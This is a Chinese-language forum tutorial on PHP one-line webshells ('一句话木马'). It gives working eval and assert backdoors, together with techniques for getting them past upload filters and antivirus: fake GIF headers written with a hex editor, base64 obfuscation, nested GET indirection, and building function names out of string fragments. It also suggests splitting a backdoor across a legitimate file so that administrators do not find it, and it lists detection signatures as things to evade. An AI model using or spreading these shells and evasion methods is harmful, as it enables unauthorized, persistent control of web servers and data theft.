作者:YoCo Smart - 习科论坛
总结一下而已。不是很深奥。首先我们要明白什么是一句话木马。
一句话
是一种特征性很强的脚本后门的统称和简称,其特征就是代码很短,短到甚至只有一句话,但是却能用这句很短的代码,完成无数的复杂功能。
我们来对下面这样的一个一句话进行简单剖析:
<?php eval($_POST['bckdor']);?>
这是php的一句话后门中最普遍的一种。它的工作原理是这样的:
首先存在一个变量,变量名为bckdor,bckdor的取值为HTTP的POST方式。Web服务器对bckdor取值以后,然后通过eval()函数执行bckdor里面的内容。
那么这个一句话的完整格式就是:
<?php //这里是识别标签 $bkd = $_POST['bckdor']; //通过HTTP的POST方式取值变量bckdor的内容 eval($bkd); //将bckdor里的内容放入执行 /*标签结束*/ ?>
例如我们要执行phpinfo();
'来查看系统的php环境信息,就
<form method="post"> <input type="text" value="phpinfo();"> <input type="submit" value="提交"> </form>
我们就能查看phpinfo()了。关于客户端我们不多赘言,我们只看一句话木马。
原来的一句话中,我们可以注意到多出来一个变量$bkd,这是为了让大家看的更明白。
$bkd暂存bckdor的内容,然后再递交给eval()执行。
说了这么多,原理讲明白了。但是毕竟因为体积过小,使用函数过少,很容易被杀软清除,而且现在有很多的防火墙和防护软件尤其是Web防护程序,拦截的是死死的
我们先来说非常一个常见的拦截系统,上传的时候上传一句话,系统提示上传的有关键字。一句话都有关键字了,其他大马就更不行了。
那么说一下这种拦截方式的突破方法。拦截原理其实就是简单的审查ascii码,如果我们把文件换成HEX码格式或者加上gif头部的话。。。拦截系统就没用了。
那么我们来看看方法。
其实所谓的HEX格式也就是图片格式。我讲一个我常用的方法吧。
用Winhex新建一个文件,设定大小为70字节,将下面的内容覆盖进去
4749463839610A000E00E70000000000800000008000808000000080800080008080C0C0C0C0DCC0
覆盖方式为ASCII转HEX,这样就覆盖了前40个字节,这40个字节的内容是GIF的头部格式。然后在第70个字节,也就是最后一个字节上写入3C,也就是分号“;”
后面还有29个字节呢?我们把GIF的头和脚构造出来了,虽然头像火星人,脚像水星人,不过和一句话这个身子组合起来,还是有点“图片”范儿的。
那么中间这27个字节就是:
<?php @eval($_POST['c']);?>
还有那俩字节你就自由发挥好了,例如c换成cmd之类的。我只是为了凑个整数,看着差不多,建了个70字节而已,没有什么其他特殊寓意。
还有个方法,你可以屏幕截个很小很小的图,然后保存为xx.gif用Winhex编辑,方法同上。
这个方法是举一反三的,最不建议的就是用记事本直接在一句话前面加GIF89a?这个方法了。因为记事本会留下BOM头部,出来的文件如果非常非常严格拦截的话,是轻易就被拦截的。
要说这个HEX格式文件的突破拦截方法是真不错,可是就是有些杀软和防护软件不从POST数据拦截,直接从执行处拦截,传是传上去了,可是一执行就被拦了。
我们看一下特征码拦截法,例如专门拦截特征码“eval($_POST[“,突破这个嘛也不难。既然这个是特征码法,只要没有把eval禁用,就可以消除掉特征码。
消掉特征码的方法很简单,我们来看一个简单的编码方式:base64编码,这个编码简单而且php自带编码与反编码的函数。
我们把$_POST['c']
这串字符进行base64编码,就得到了字符串JF9QT1NUWydjJ10=
,然后在一句话里面这么改:
<?php @eval(base64_decode('JF9QT1NUWydjJ10='));?>
如果把密码改成别的再base64编码,这样的一句话不太容易出现特征码。
说起Base64编码,其实也有个编码的方法,不过很麻烦的
<?php @eval($_GET[$_GET[xyz]]);?>
用法就是.php?xyz=cmd&cmd=phpinfo();
原理应该很容易分析明白,用GET的方法取值,取值为”cmd”,以cmd为名字,取cmd的值再执行,当然可以GET多次扩展。
例如我们套5个圈:
<?php @eval($_GET[$_GET[$_GET[$_GET[$_GET['x1']]]]]);?>
然后这样:.php?x1=x2&x2=x3&x3=x4&x4=x5&x5=phpinfo();
GET的方式在突破拦截和监控上面其实并不是很实用。
因为我们我们看上面的变化,就算是再变来变去,还是有一个eval()函数。
这里先整理一份php木马的特征码:
eval一句话特征 | eval( |
大马read特征 | ->read() |
大马readdir特征3 | readdir( |
MYSQL自定义函数语句 | returns string soname |
加密特征1 | eval(gzinflate( |
加密特征2 | eval(base64_decode( |
加密特征3 | base64_decode( |
eval一句话2 | eval ( |
php复制特征 | copy($_FILES |
复制特征2 | copy ($_FILES |
上传特征 | move_uploaded_file($_FILES |
上传特征2 | move_uploaded_file ($_FILES |
小马特征 | str_replace(\'\\\\\',\'/\ |
上面说了,这个eval()函数要是禁用了或者被监控了,那岂不是要傻逼了?
当然不会。还有个可以代替eval()函数的函数assert(),例如:
<?php @assert($_POST['c']);?> <?php @eval($_POST['c']);?>
这两个是可以互换的。不过嘛,assert()比eval()既有优点也有缺点。
assert可以通过别的方式定义使用,而eval()则不行。缺点是eval()一般不会被禁用,assert()经常会被禁用。
我们可以用字符串组合法隐藏assert():
<?php $str = 'aerst'; $funct = $str{0}.$str{3}.$str{3}.$str{1}.$str{2}.$str{4}; @$func($_POST['c']); ?>
上面这种格式,和一句话差距太大了。。。
当然,如果有意留后门,上面的语句还是不错的。例如在某个php文件的前面部分,写$str='aerst';
在中间部分写$funct = $str{0}.$str{3}.$str{3}.$str{1}.$str{2}.$str{4};
在最后部分写@$func($_POST['c']);
拆开写后门,改改时间戳发现的几率很小,因为没有特征码。
我们换换思路。如果不用字符串拼接法,怎么获取函数的名字呢?
<?php $funct = $_GET['x']; @$funct($_POST['cmd']); ?>
然后我们拼一下,跟第一个一句话一样,把中间传递值的$funct变量删掉合并:
<?php @$_GET[n]($_POST[cmd]);?>
函数由GET方式获得,执行的代码由POST获得。
一句话配置就这样配置,地址为xx.php?n=assert
密码为cmd
这样的木马找起来或者杀起来,难度也不大,最省事的办法就是,直接禁用assert()函数。
要是负责任一点,可以搜索日志中的assert,因为GET值是必须GET一个assert的
如果遇到这样的负责任的变态的管理员,其实也有办法例如:
<?php $c=$_GET[n].'t';@$c($_POST[cmd]);?> <?php $c=base64_decode('YXNzZXI=').$_GET[n].'t';@$c($_POST[cmd]);?>
总之变化无穷。当然了,技术也就是在管理员和黑客的这样的博弈中慢慢进步的。